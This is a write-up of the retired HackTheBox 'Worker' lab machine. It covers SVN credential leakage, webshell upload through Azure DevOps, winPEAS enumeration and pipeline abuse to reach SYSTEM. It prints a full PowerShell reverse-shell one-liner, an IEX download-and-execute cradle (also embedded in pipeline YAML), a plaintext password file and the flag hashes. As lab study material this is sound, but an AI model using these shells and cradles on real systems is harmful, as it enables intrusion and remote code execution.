Writeup: HackTheBox Worker Machine
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Worker, is retired.1. TLDR
2. Preparation
I have prepared some useful variables:
export IP=10.10.10.203
3. Scanning and Reconnaissance
First, I used the nmap tool to identify open ports:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 23:32 CET
Nmap scan report for 10.10.10.203
Host is up (0.096s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds
4. Gaining Access the CVS
There was an SVN repository running on the server. I tried to download the content::
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $svn checkout svn://10.10.10.203:3690
A dimension.worker.htb
A dimension.worker.htb/LICENSE.txt
A dimension.worker.htb/README.txt
...
A dimension.worker.htb/index.html
A moved.txt
Checked out revision 5.
I immediately added an entry to /etc/hosts
:
10.10.10.203 worker.htb dimension.worker.htb
At http://worker.htb
was the default site offered by IIS:
At http://dimension.worker.htb
was a site designed by the Worker team:
I checked the repository log:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $svn log
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 15:52:00 +0200 (Sat, 20 Jun 2020) | 1 line
Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 15:50:20 +0200 (Sat, 20 Jun 2020) | 1 line
Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 15:46:19 +0200 (Sat, 20 Jun 2020) | 1 line
-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 15:45:16 +0200 (Sat, 20 Jun 2020) | 1 line
Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 15:43:43 +0200 (Sat, 20 Jun 2020) | 1 line
First version
------------------------------------------------------------------------
Among the downloaded resources were the project directory and the moved.txt file:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)
I immediately added an entry to /etc/hosts
:
10.10.10.203 devops.worker.htb
Access to resources under http://devops.worker.htb
was protected using The ‘Basic’ HTTP Authentication Scheme described in RFC 7617:
I took a cursory look at the page source from the downloaded repository and came across the following hosted site addresses, which I added to /etc/hosts
:
10.10.10.203 alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb
I started reviewing the changes to the repository from the beginning of the project’s life. In commit r2, I came across a new file that was a PowerShell script:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $svn update -r r2
Updating '.':
A deploy.ps1
Updated to revision 2.
The file contained a simple script that contained hardcoded credentials:
$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
This is how I obtained the first set of credentials nathen:wendel98
Using the obtained login data I tried to gain access to http://devops.worker.htb
:
This is how I accessed the Spectral
repository of SmartHotel360
project:
5. Gaining Acces the System Shell
I prepared a simple backdoor:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $cp /usr/share/webshells/aspx/cmdasp.aspx 74wny0wl.aspx
However, I could not upload the file to branch master
:
So I completed the form so that the commit is sent to the new branch along with creating a new pull request:
This time the attempt to upload the file was successful:
It remained to accept the pull request:
Then, I prepared the next stage of the backdoor:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $ cat 74wny0wlshell.ps1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("110.10.14.232",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
It remained to start the http server:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo python3 -m http.server 80
[sudo] password for t4wny0wl:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
and netcat:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl:
listening on [any] 443 ...
and execute the command:
powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.232/74wny0wlshell.ps1\");"
As a result, a remote powershell session was established with rights of defaultapppool
user:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.203] 50939
whoami
iis apppool\defaultapppool
#
6. Privilege Escalation: iis apppool\defaultapppool ⇨ worker\robisl
There were several users at the machine:
# ls C:\Users
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020-03-28 14:59 .NET v4.5
d----- 2020-03-28 14:59 .NET v4.5 Classic
d----- 2020-08-18 00:33 Administrator
d-r--- 2020-03-28 14:01 Public
d----- 2020-07-22 01:11 restorer
d----- 2020-07-08 19:22 robisl
I have prepared a downloadable winPEAS:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $cp /opt/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/Obfuscated\ Releases/winPEASany.exe ./74wny0wl.exe
Then, I downloaded winPEAS to the server and ran the program:
# cd C:\Users\Public\Downloads
# wget http://10.10.14.232/74wny0wl.exe -outfile 74wny0wl.exe
# ls
Directory: C:\Users\Public\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020-12-24 10:19 441856 74wny0wl.exe
# ./74wny0wl.exe
On the standard output, I found information about the W drive:
[+] Network Shares
ADMIN$ (Path: C:\Windows)
C$ (Path: C:\)
IPC$ (Path: )
W$ (Path: W:\)
I found a folder with configuration data on the drive:
# ls
Directory: W:\svnrepos\www\conf
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020-06-20 11:29 1112 authz
-a---- 2020-06-20 11:29 904 hooks-env.tmpl
-a---- 2020-06-20 15:27 1031 passwd
-a---- 2020-04-04 20:51 4454 svnserve.conf
The passwd file contained user passwords:
# Get-Content passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
The list included the robsil
user, which was the user of the attacked machine..
I therefore acquired a pair of credentials robisl:wolves11
Using Evil-WinRM, I established a session as user robisl::
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo gem install evil-winrm
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $evil-winrm -i worker.htb -u robisl -p wolves11
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\robisl\Documents> whoami
worker\robisl
It remained to read the flag:
*Evil-WinRM* PS C:\Users\robisl\Desktop> Get-Content user.txt
b49c92482d0ff2204bfbf2d3d18fe32e
7. Privilege Escalation: worker\robisl ⇨ nt authority\system
I downloaded and ran winPEAS again:
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> wget http://10.10.14.232/74wny0wl.exe -outfile 74wny0wl.exe
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ls
Directory: C:\Users\robisl\AppData\Local\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/24/2020 1:12 PM 441856 74wny0wl.exe
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ./74wny0wl.exe
My attention was drawn to an entry about Azure Pipelines Agent
and the possibility of performing DLL Hijacking:
=================================================================================================
Azure Pipelines Agent (127.Default.Hamilton01)(Azure Pipelines Agent (127.Default.Hamilton01))["w:\agents\agent01\bin\AgentService.exe"] - Autoload - isDotNet
Possible DLL Hijacking in binary folder: w:\agents\agent01\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
=================================================================================================
However, I did not have write permissions on that directory:
*Evil-WinRM* PS W:\agents\agent01\bin> (get-acl W:\agents\agent01\bin).access | ft IdentityReference,FileSystemRights,AccessControlType,IsInherited,InheritanceFlags -auto
IdentityReference FileSystemRights AccessControlType IsInherited InheritanceFlags
----------------- ---------------- ----------------- ----------- ----------------
BUILTIN\Administrators FullControl Allow False None
WORKER\VSTS_AgentService_G3eff7 FullControl Allow True ContainerInherit, ObjectInherit
IIS APPPOOL\DefaultAppPool Write Deny True ContainerInherit, ObjectInherit
BUILTIN\Administrators FullControl Allow True ContainerInherit, ObjectInherit
NT AUTHORITY\SYSTEM FullControl Allow True ContainerInherit, ObjectInherit
CREATOR OWNER 268435456 Allow True ContainerInherit, ObjectInherit
BUILTIN\Users ReadAndExecute, Synchronize Allow True ContainerInherit, ObjectInherit
BUILTIN\Users AppendData Allow True ContainerInherit
BUILTIN\Users CreateFiles Allow True ContainerInherit
Which I further confirmed by trying to open the file for writing:
*Evil-WinRM* PS W:\agents\agent01\bin> $outfile = "Agent.Worker.dll"
*Evil-WinRM* PS W:\agents\agent01\bin> Try { [io.file]::OpenWrite($outfile).close() }
Catch { Write-Warning "Unable to write to output file $outputfile" }
Warning: Unable to write to output file
I decided to use the Azure Pipelines Agent
from within the portal.
Using the credentials robisl:wolves11
, I logged into the repository:
I switched to the Pipelines view and created a new pipeline:
I chose Azure Repos Git:
I then pointed to the PartsUnlimited repository:
I then selected the ASP.NET option:
I prepared a pipeline definition that retrieved and executed the script I had already used:
trigger:
- 74wny0wl-branch
variables:
solution: '**/*.sln'
buildPlatform: 'Any CPU'
buildConfiguration: 'Release'
steps:
- script: powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.232/74wny0wlshell.ps1\");"
I added the created pipeline to the new branch:
I run netcat…
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl:
listening on [any] 443 ...
and saved the pipeline. After a few dozen seconds the connection was established:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.203] 50731
# whoami
nt authority\system
It remained to read the flag:
# Get-Content C:\Users\Administrator\Desktop\root.txt
9e63ccb853f1ce92325a6f57948e7532
8. Summary
The following circumstances led to the capture of the flags:
A publicly available corporate version control system.
Submission of credentials to the repository by one of the developers.
Passwords stored in plaintext.
Azure Pipelines Agent privileges being too high.
Recommendations on which user to point to and how to configure Azure Pipelines Agent can be found here and here.